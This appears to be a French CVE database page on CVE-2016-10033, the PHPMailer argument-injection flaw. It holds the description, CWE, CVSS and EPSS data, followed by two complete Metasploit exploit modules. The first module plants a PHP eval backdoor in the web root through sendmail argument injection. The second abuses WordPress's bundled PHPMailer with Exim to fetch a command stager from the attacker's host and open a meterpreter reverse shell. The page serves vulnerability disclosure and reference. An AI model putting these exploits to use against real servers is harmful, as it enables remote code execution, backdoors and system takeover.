CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') The product constructs a string for a command to be executed by a separate component
in another control sphere, but it does not properly delimit the
intended arguments, options, or switches within that command string.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
96.29%
–
–
2023-03-12
–
–
–
97.46%
–
2024-02-18
–
–
–
97.13%
–
2024-06-02
–
–
–
97.13%
–
2024-07-14
–
–
–
97.09%
–
2024-12-22
–
–
–
97.15%
–
2025-01-19
–
–
–
97.15%
–
2025-03-18
–
–
–
–
94.44%
2025-03-18
–
–
–
–
94.44,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-12-25 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHPMailer Sendmail Argument Injection',
'Description' => %q{
PHPMailer versions up to and including 5.2.19 are affected by a
vulnerability which can be leveraged by an attacker to write a file with
partially controlled contents to an arbitrary location through injection
of arguments that are passed to the sendmail binary. This module
writes a payload to the web root of the webserver before then executing
it with an HTTP request. The user running PHPMailer must have write
access to the specified WEB_ROOT directory and successful exploitation
can take a few minutes.
},
'Author' => [
'Dawid Golunski', # vulnerability discovery and original PoC
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-10033'],
['CVE', '2016-10045'],
['EDB', '40968'],
['EDB', '40969'],
['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
],
'DisclosureDate' => 'Dec 26 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {'DisableNops' => true},
'Targets' => [
['PHPMailer <5.2.18', {}],
['PHPMailer 5.2.18 - 5.2.19', {}]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
], self.class)
register_advanced_options(
[
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
], self.class)
end
def trigger(trigger_uri)
print_status("Sleeping before requesting the payload from: #{trigger_uri}")
page_found = false
sleep_time = 10
wait_time = datastore['WAIT_TIMEOUT']
print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
res = send_request_cgi(
'method' => 'GET',
'uri' => trigger_uri
)
if res.nil?
if page_found or session_created?
print_good('Successfully triggered the payload')
break
end
next
end
next unless res.code == 200
if res.body.length == 0 and not page_found
print_good('Successfully found the payload')
page_found = true
end
end
end
def exploit
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
if target.name == 'PHPMailer <5.2.18'
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
else
fail_with(Failure::NoTarget, 'The specified version is not supported')
end
data = Rex::MIME::Message.new
data.add_part('submit', nil, nil, 'form-data; name="action"')
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
data.add_part(email, nil, nil, 'form-data; name="email"')
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
print_status("Writing the backdoor to #{payload_file_path}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
register_files_for_cleanup(payload_file_path)
trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
end
end
Date de publication : 2017-05-16 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHPMailer Host Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in WordPress
version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
a mail-sending library that is bundled with WordPress.
A valid WordPress username is required to exploit the vulnerability.
Additionally, due to the altered Host header, exploitation is limited to
the default virtual host, assuming the header isn't mangled in transit.
If the target is running Apache 2.2.32 or 2.4.24 and later, the server
may have HttpProtocolOptions set to Strict, preventing a Host header
containing parens from passing through, making exploitation unlikely.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-10033'],
['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
],
'DisclosureDate' => 'May 3 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['WordPress 4.6 / Exim', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => ['wget', 'curl']
))
register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
deregister_options('VHOST', 'URIPATH')
end
def check
if (version = wordpress_version)
version = Gem::Version.new(version)
else
return CheckCode::Safe
end
vprint_status("WordPress #{version} installed at #{full_uri}")
if version <= Gem::Version.new('4.6')
CheckCode::Appears
else
CheckCode::Detected
end
end
def exploit
if check == CheckCode::Safe
print_error("Is WordPress installed at #{full_uri} ?")
return
end
# Since everything goes through strtolower(), we need lowercase
print_status("Generating #{cmdstager_flavor} command stager")
@cmdstager = generate_cmdstager(
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
:temp => datastore['WritableDir'],
:file => File.basename(cmdstager_path),
:nospace => true
).join(';')
print_status("Generating and sending Exim prestager")
generate_prestager.each do |command|
vprint_status("Sending #{command}")
send_request_payload(command)
end
end
#
# Exploit methods
#
# Absolute paths are required for prestager commands due to execve(2)
def generate_prestager
prestager = []
# This is basically sh -c `wget` implemented using Exim string expansions
# Badchars we can't encode away: \ for \n (newline) and : outside strings
prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
"{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
"{get #{get_resource} http/1.0$value$value}}}}}}"
# CmdStager should rm the file, but it blocks on the payload, so we do it
prestager << "/bin/rm -f #{cmdstager_path}"
end
def send_request_payload(command)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'headers' => {
'Host' => generate_exim_payload(command)
},
'vars_get' => {
'action' => 'lostpassword'
},
'vars_post' => {
'user_login' => datastore['USERNAME'],
'redirect_to' => '',
'wp-submit' => 'Get New Password'
}
)
if res && !res.redirect?
if res.code == 200 && res.body.include?('login_error')
fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
else
fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
end
end
res
end
def generate_exim_payload(command)
exim_payload = Rex::Text.rand_text_alpha(8)
exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
end
# We can encode away the following badchars using string expansions
def encode_exim_payload(command)
command.gsub(/[\/ :]/,
'/' => '${substr{0}{1}{$spool_directory}}',
' ' => '${substr{10}{1}{$tod_log}}',
':' => '${substr{13}{1}{$tod_log}}'
)
end
#
# Utility methods
#
def cmdstager_flavor
datastore['CMDSTAGER::FLAVOR']
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
#
# Override methods
#
# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
print_good("Sending #{@cmdstager}")
send_response(cli, @cmdstager)
@cmdstager = nil
else
print_good("Sending payload #{datastore['PAYLOAD']}")
super
end
end
end